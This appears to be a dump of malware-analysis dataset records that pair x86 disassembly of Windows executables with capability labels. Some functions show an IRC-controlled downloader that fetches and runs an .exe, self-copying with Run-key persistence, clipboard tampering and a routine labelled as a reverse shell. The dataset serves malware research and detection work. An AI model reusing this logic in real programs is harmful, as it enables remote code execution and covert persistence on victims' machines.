joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401005
Capabilities:
Terminate process

Disassembly:
jmp 0x4035ff
push 0x14
push 0x409130
call fcn.00401096
push 1
call fcn.00401203
pop ecx
test al, al
je 0x403520
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.00401230
mov byte [ebp - 0x24], al
mov eax, dword [0x40a5e0]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x403520
test eax, eax
jne 0x403444
mov dword [0x40a5e0], ecx
push 0x407618
push 0x40730c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x403427
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x403510
push 0x407208
push section..rdata
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
pop ecx
pop ecx
mov dword [0x40a5e0], 2
jmp 0x403449
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.00401109
pop ecx
call fcn.00401037
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x40347a
push esi
call fcn.004010cd
pop ecx
test al, al
je 0x40347a
mov esi, dword [esi]
push edi
push 2
push edi
mov ecx, esi
call dword [section..00cfg]
call esi
call fcn.00401023
mov esi, eax
cmp dword [esi], edi
je 0x403498
push esi
call fcn.004010cd
pop ecx
test al, al
je 0x403498
push dword [esi]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__register_thread_local_exe_atexit_callback
pop ecx
call fcn.0040108c
movzx esi, ax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__get_narrow_winmain_command_line
push esi
push eax
push edi
push 0x400000
call fcn.00401271
mov esi, eax
call fcn.0040123a
test al, al
je 0x403527
test bl, bl
jne 0x4034c6
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
push edi
push 1
call fcn.0040110e
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x403510
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
push 7
call fcn.00401145
push esi
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
push dword [ebp - 0x20]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__exit
int3
call fcn.004012b2
jmp 0x4033ba
Function at 0x401032
Capabilities:
Create http request
Create process on windows
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write and execute a file
Write file on windows

Disassembly:
jmp 0x40185e
sub esp, 0xc0
mov eax, dword [0x40a110]
xor eax, esp
mov dword [esp + 0xbc], eax
push ebx
push ebp
mov ebp, dword [esp + 0xd0]
xor eax, eax
push esi
mov esi, dword [esp + 0xd0]
push edi
push 0x44
pop ebx
push ebx
push eax
lea eax, [esp + 0x2c]
push eax
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov dword [esp + 0x30], ebx
lea edi, [esp + 0x20]
mov dword [esp + 0x5c], 1
stosd dword es:[edi], eax
add esp, 0xc
xor ebx, ebx
stosd dword es:[edi], eax
push ebx
push ebx
push ebx
stosd dword es:[edi], eax
push ebx
push str.wget
stosd dword es:[edi], eax
xor eax, eax
mov word [esp + 0x68], ax
call dword [sym.imp.WININET.dll_InternetOpenA]
test eax, eax
je 0x401954
push ebx
push ebx
push ebx
push ebx
push esi
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
je 0x401954
push 0x407b38
push ebp
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x401954
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
jmp 0x401918
cmp dword [esp + 0x10], 0
je 0x40192b
push esi
push dword [esp + 0x14]
lea eax, [esp + 0x70]
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
lea eax, [esp + 0x10]
push eax
push 0x62
lea eax, [esp + 0x70]
push eax
push edi
call ebx
test eax, eax
jne 0x4018fc
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
pop ecx
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x28]
push eax
xor eax, eax
push eax
push eax
push 0x20
push 1
push eax
push eax
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
inc eax
jmp 0x401956
xor eax, eax
mov ecx, dword [esp + 0xcc]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004010f5
add esp, 0xc0
ret

Function at 0x40105f
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
jmp 0x40228d
push esi
push edi
push dword [esp + 0x10]
call dword [sym.imp.USER32.dll_OpenClipboard]
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov esi, dword [esp + 0xc]
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4022a8
sub ecx, edx
lea eax, [ecx + 1]
push eax
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
sub eax, esi
mov cl, byte [esi]
mov byte [eax + esi], cl
inc esi
test cl, cl
jne 0x4022cb
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push edi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
pop edi
pop esi
jmp dword [sym.imp.USER32.dll_CloseClipboard]
Function at 0x4010a0
Capabilities:
Get common file path
Open clipboard
Write clipboard data

Disassembly:
jmp 0x40215c
sub esp, 0x20c
mov eax, dword [0x40a110]
xor eax, esp
mov dword [esp + 0x208], eax
push ebx
mov ebx, dword [esp + 0x214]
lea eax, [esp + 4]
push ebp
push esi
push edi
mov ebp, 0x104
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edx, str.img104385.zip
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402193
lea edi, [esp + 0x10]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4021a1
mov ecx, edx
lea eax, [esp + 0x114]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebp
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
push eax
call sub.VCRUNTIME140.dll_memset
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x124]
push 0x4083e8
push eax
call fcn.004012ad
add esp, 0x18
push ebx
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x402237
call dword [sym.imp.USER32.dll_EmptyClipboard]
push 0x118
push 0x42
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push 0x41
pop ecx
lea esi, [esp + 0x114]
and dword [eax + 0x10], 0
lea edi, [eax + 0x14]
mov dword [eax], 0x14
rep movsd dword es:[edi], dword [esi]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push 0xf
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x218]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004010f5
add esp, 0x20c
ret
Function at 0x40114f
Capabilities:
Send data
Send data on socket

Disassembly:
jmp 0x4019b3
push ebp
lea ebp, [esp - 0xb0]
sub esp, 0x130
mov eax, dword [0x40a110]
xor eax, ebp
mov dword [ebp + 0xac], eax
mov eax, dword [ebp + 0xb8]
push ebx
push esi
mov ebx, 0x407b3c
push ebx
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
pop ecx
xor esi, esi
pop ecx
inc esi
push ebx
push 0
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
mov dword [ebp + esi*4 - 0x80], eax
inc esi
pop ecx
pop ecx
cmp esi, 0xa
jl 0x4019e8
push str.test
push dword [ebp - 0x74]
call sub.VCRUNTIME140.dll_strstr
pop ecx
pop ecx
test eax, eax
je 0x401a15
call fcn.004011cc
push str.download
push dword [ebp - 0x74]
call sub.VCRUNTIME140.dll_strstr
pop ecx
pop ecx
test eax, eax
je 0x401ad5
push 6
call fcn.0040101e
lea edx, [ebp - 0x58]
pop ecx
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x401a39
lea ecx, [ebp - 0x58]
dec ecx
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x401a47
mov eax, dword [str..exe]
mov dword [ecx], eax
mov al, byte [0x407b58]
mov byte [ecx + 4], al
lea eax, [ebp - 0x58]
push eax
push dword [ebp - 0x70]
call fcn.00401032
mov esi, 0x40a498
pop ecx
pop ecx
push dword [ebp - 0x70]
push str.channel
test eax, eax
je 0x401aaa
push str.PRIVMSG__s_:
push esi
call fcn.004012ad
mov ecx, esi
add esp, 0x10
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401a90
push 0
sub ecx, edx
push ecx
push esi
push dword [0x40a490]
call sub.WS2_32.dll_send
jmp 0x401ab8
push str.PRIVMSG__s_:Hata____s__n
push esi
call fcn.004012ad
add esp, 0x10
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401abd
push 0
sub ecx, edx
push ecx
push esi
push dword [0x40a490]
call sub.WS2_32.dll_send
mov ecx, dword [ebp + 0xac]
pop esi
xor ecx, ebp
pop ebx
call fcn.004010f5
add ebp, 0xb0
leave
ret
Function at 0x40123a
Capabilities:
Parse pe header

Disassembly:
jmp 0x403d78
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x403db8
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x403db8
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x403db8
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x403db8
cmp dword [ecx + 0x74], 0xe
jbe 0x403db8
cmp dword [ecx + 0xe8], 0
je 0x403db8
mov al, 1
ret
xor al, al
ret

Function at 0x40129e
Capabilities:
Check if file exists
Copy file
Get common file path
Get file attributes
Persist via run registry key
Set file attributes
Set registry value

Disassembly:
jmp 0x4015d7
sub esp, 0x418
mov eax, dword [0x40a110]
xor eax, esp
mov dword [esp + 0x414], eax
push ebx
push ebp
push esi
push edi
mov ebx, 0x104
lea eax, [esp + 0x118]
push ebx
xor ebp, ebp
push ebp
push eax
call sub.VCRUNTIME140.dll_memset
push ebx
lea eax, [esp + 0x22c]
push ebp
push eax
call sub.VCRUNTIME140.dll_memset
push ebx
lea eax, [esp + 0x30]
push ebp
push eax
call sub.VCRUNTIME140.dll_memset
mov edi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [esp + 0x13c]
add esp, 0x24
mov dword [esp + 0x10], ebp
push ebx
push eax
call edi
push ebx
lea eax, [esp + 0x220]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push eax
call ebx
push str.filename.exe
lea eax, [esp + 0x11c]
push eax
lea eax, [esp + 0x1c]
push str._s_s
push eax
call fcn.004012ad
add esp, 0x10
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
cmp eax, 0xffffffff
je 0x401692
push 0x80
lea eax, [esp + 0x18]
push eax
call esi
push ebp
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 5
lea eax, [esp + 0x18]
push eax
call esi
push ebp
lea eax, [esp + 0x14]
push eax
push ebp
push 0xf003f
push ebp
push ebp
push ebp
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov esi, str.filename.exe
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4016d8
sub ecx, edx
push ecx
push esi
push 1
push ebp
push str.regname
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, 0x104
lea eax, [esp + 0x118]
push esi
push eax
call edi
push esi
lea eax, [esp + 0x324]
push eax
push ebp
call ebx
mov edx, str.img104385.zip
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x401722
lea edi, [esp + 0x118]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x401733
mov ecx, edx
lea eax, [esp + 0x118]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push str.img104385.jpeg_www.imageshack.com
mov ecx, edx
push eax
and ecx, 3
lea eax, [esp + 0x328]
rep movsb byte es:[edi], byte [esi]
push eax
call fcn.00401177
mov ecx, dword [esp + 0x430]
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004010f5
add esp, 0x418
ret
Function at 0x402a80
Capabilities:
Encode data using xor
Hash data with crc32
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
mov eax, dword [0x40a110]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
push 0
push 0
push 0
push edi
mov dword [ebp - 0x80c], edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
xor esi, esi
lea eax, [ebp - 0x808]
push esi
push eax
push 0x400
lea eax, [ebp - 0x404]
mov dword [ebp - 0x808], esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x402cc1
push ebx
nop word [eax + eax]
mov ebx, dword [ebp - 0x808]
test ebx, ebx
je 0x402cc0
lea edi, [ebp - 0x404]
mov dword [ebp - 0x808], edi
xor edi, edi
nop dword [eax]
mov ecx, edi
mov eax, edi
shr ecx, 1
mov edx, ecx
xor edx, 0xedb88320
and al, 1
cmove edx, ecx
mov eax, edx
shr eax, 1
mov ecx, eax
xor ecx, 0xedb88320
and dl, 1
cmove ecx, eax
mov eax, ecx
shr eax, 1
mov edx, eax
xor edx, 0xedb88320
and cl, 1
cmove edx, eax
mov eax, edx
shr eax, 1
mov ecx, eax
xor ecx, 0xedb88320
and dl, 1
cmove ecx, eax
mov eax, ecx
shr eax, 1
mov edx, eax
xor edx, 0xedb88320
and cl, 1
cmove edx, eax
mov eax, edx
shr eax, 1
mov ecx, eax
xor ecx, 0xedb88320
and dl, 1
cmove ecx, eax
mov eax, ecx
shr eax, 1
mov edx, eax
xor edx, 0xedb88320
and cl, 1
cmove edx, eax
mov ecx, edx
shr ecx, 1
mov eax, ecx
xor eax, 0xedb88320
and dl, 1
cmove eax, ecx
mov dword [ebp + edi*4 - 0x804], eax
inc edi
cmp edi, 0x100
jl 0x402b00
mov edi, dword [ebp - 0x808]
not esi
cmp ebx, 8
jl 0x402c66
mov ecx, ebx
shr ecx, 3
lea eax, [ecx*8]
sub ebx, eax
movzx eax, byte [edi]
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [ebp + eax*4 - 0x804]
movzx eax, byte [edi + 1]
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [ebp + eax*4 - 0x804]
movzx eax, byte [edi + 2]
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [ebp + eax*4 - 0x804]
movzx eax, byte [edi + 3]
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [ebp + eax*4 - 0x804]
movzx eax, byte [edi + 4]
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [ebp + eax*4 - 0x804]
movzx eax, byte [edi + 5]
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [ebp + eax*4 - 0x804]
movzx eax, byte [edi + 6]
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [ebp + eax*4 - 0x804]
movzx eax, byte [edi + 7]
add edi, 8
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [ebp + eax*4 - 0x804]
sub ecx, 1
jne 0x402bc3
test ebx, ebx
je 0x402c8a
nop word [eax + eax]
movzx eax, byte [edi]
lea edi, [edi + 1]
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [ebp + eax*4 - 0x804]
sub ebx, 1
jne 0x402c70
mov edi, dword [ebp - 0x80c]
lea eax, [ebp - 0x808]
push 0
push eax
push 0x400
lea eax, [ebp - 0x404]
mov dword [ebp - 0x808], 0
push eax
push edi
not esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x402ae0
pop ebx
push 0
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.004010f5
mov esp, ebp
pop ebp
ret
Function at 0x404100
Capabilities:
Get common file path
Get disk information
Get hostname
Manipulate console buffer
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x14cc
call fcn.00413bf0
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [0x44e698]
push ebx
push esi
push edi
mov edi, dword [eax + 4]
mov eax, dword [0x44e69c]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 8]
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0
mov dword [ebp - 0x18], 0x9e3779b9
mov dword [ebp - 0x1c], edx
call fcn.004040f0
mov ecx, dword [0x44e6a0]
mov edx, dword [0x44e6a4]
add dword [ebp - 8], 0x23f
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrencyFormatA]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x14], 0x20
jmp 0x404170
mov dword [ebp - 0x10], 2
add dword [ebp - 0x10], 3
mov esi, dword [ebp - 0xc]
mov eax, dword [0x455e24]
shl esi, 4
add esi, dword [ebp - 0x24]
cmp eax, 0xfa9
jne 0x40419c
mov dword [0x455e20], 0xedeb2e40
jmp 0x4041b7
cmp eax, 0x3eb
jne 0x4041b7
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [0x4558b0], 0
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
add ecx, eax
mov eax, dword [ebp - 0xc]
shr eax, 5
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x20]
add dword [ebp - 4], edx
xor esi, ecx
cmp dword [0x455e24], 0x9e6
mov dword [0x455e1c], 0xf4ea3dee
jne 0x4041f2
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
xor dword [ebp - 4], esi
cmp dword [0x455e24], 0x213
jne 0x404294
push 0
lea eax, [ebp - 0x4cc]
push eax
push 0
push 0
push 0
push 0
call ebx
lea ecx, [ebp - 0xccc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x8cc]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
push 0
push 0
lea ecx, [ebp - 0x14cc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
lea edx, [ebp - 0x30]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
lea eax, [ebp - 0xcc]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push 0
lea ecx, [ebp - 0x34]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
sub edi, dword [ebp - 4]
cmp dword [0x455e24], 0xc
jne 0x4042a8
push 0
call dword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov edx, dword [ebp - 8]
mov eax, edi
shr eax, 5
lea ecx, [edx + edi]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov edx, edi
shl edx, 4
add edx, dword [ebp - 0x1c]
xor edx, dword [ebp - 4]
xor edx, ecx
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
sub dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
sub dword [ebp - 8], eax
sub dword [ebp - 0x14], 1
jne 0x404170
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [eax + 4], edi
pop edi
pop esi
mov dword [eax], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x404300
Capabilities:
Connect pipe
Create process on windows
Create reverse shell
Get thread local storage value
Read pipe
Set environment variable
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1008
call fcn.00413bf0
mov eax, dword [0x455e24]
mov ecx, dword [0x4558b4]
shr eax, 3
test eax, eax
jbe 0x404420
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrencyFormatA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
mov edi, edi
cmp dword [0x455e24], 0x959
jne 0x404406
push 0
lea eax, [ebp - 0x408]
push eax
push 0
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call edi
push 0
lea ecx, [ebp - 0xc08]
push ecx
call ebx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeFormatW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
lea edx, [ebp - 0x808]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push 0
lea eax, [ebp - 0x1008]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [ebp - 4]
push ecx
call fcn.00404100
add dword [ebp - 4], 8
sub dword [ebp - 8], 1
jne 0x404340
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4088c6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44d5b0]
jne 0x4088d0
repz ret
jmp fcn.0040d1d5

Function at 0x40ca0e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004082d2
and dword [ebp - 4], 0
cmp dword [0x45389c], 0
mov ebx, eax
jne 0x40cabf
push 0x40355c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40cb70
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403550
push edi
call esi
test eax, eax
je 0x40cb70
push eax
call fcn.00408260
mov dword [esp], 0x403540
push edi
mov dword [0x45389c], eax
call esi
push eax
call fcn.00408260
mov dword [esp], 0x40352c
push edi
mov dword [0x4538a0], eax
call esi
push eax
call fcn.00408260
mov dword [esp], 0x403510
push edi
mov dword [0x4538a4], eax
call esi
push eax
call fcn.00408260
pop ecx
mov dword [0x4538ac], eax
test eax, eax
je 0x40cabf
push 0x4034f8
push edi
call esi
push eax
call fcn.00408260
pop ecx
mov dword [0x4538a8], eax
mov eax, dword [0x4538a8]
cmp eax, ebx
je 0x40cb17
cmp dword [0x4538ac], ebx
je 0x40cb17
push eax
call fcn.004082db
push dword [0x4538ac]
mov esi, eax
call fcn.004082db
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40cb17
test edi, edi
je 0x40cb17
call esi
test eax, eax
je 0x40cb0e
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40cb0e
test byte [ebp - 0xc], 1
jne 0x40cb17
or dword [ebp + 0x10], 0x200000
jmp 0x40cb50
mov eax, dword [0x4538a0]
cmp eax, ebx
je 0x40cb50
push eax
call fcn.004082db
pop ecx
test eax, eax
je 0x40cb50
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40cb50
mov eax, dword [0x4538a4]
cmp eax, ebx
je 0x40cb50
push eax
call fcn.004082db
pop ecx
test eax, eax
je 0x40cb50
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x45389c]
call fcn.004082db
pop ecx
test eax, eax
je 0x40cb70
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40cb72
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401b06
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401b45
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401b45
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401b45
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401b45
cmp dword [ecx + 0x74], 0xe
jbe 0x401b45
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40d354
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x4e8018]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x40d39f
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.0040d571
test al, al
jne 0x40d399
sub edx, 2
cmp edx, edi
jne 0x40d37f
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x40d3c1
lea eax, [edi + 2]
cmp edx, eax
je 0x40d3c1
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.0040d2a0
add esp, 0x10
jmp 0x40d4bb
push esi
lea ecx, [ebp - 0x255]
call fcn.0040d571
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40d404
push dword [ebp - 0x25c]
jmp 0x40d3b1
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x40d441
cmp word [ebp - 0x226], 0
je 0x40d462
cmp word [ebp - 0x226], ax
jne 0x40d441
cmp word [ebp - 0x224], 0
je 0x40d462
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.0040d2a0
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x40d4ae
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x40d41b
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x40d496
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x40d4bb
push 0x40d001
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.004144f0
add esp, 0x10
jmp 0x40d48b
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401e35
leave
ret

Function at 0x40e287
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x40e298
pop esi
ret
push ebx
push edi
push esi
call fcn.0040e250
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.0040fdd6
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x40e2c0
push ebx
push esi
push edi
call fcn.00402f90
add esp, 0xc
push 0
call fcn.0040cfc7
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret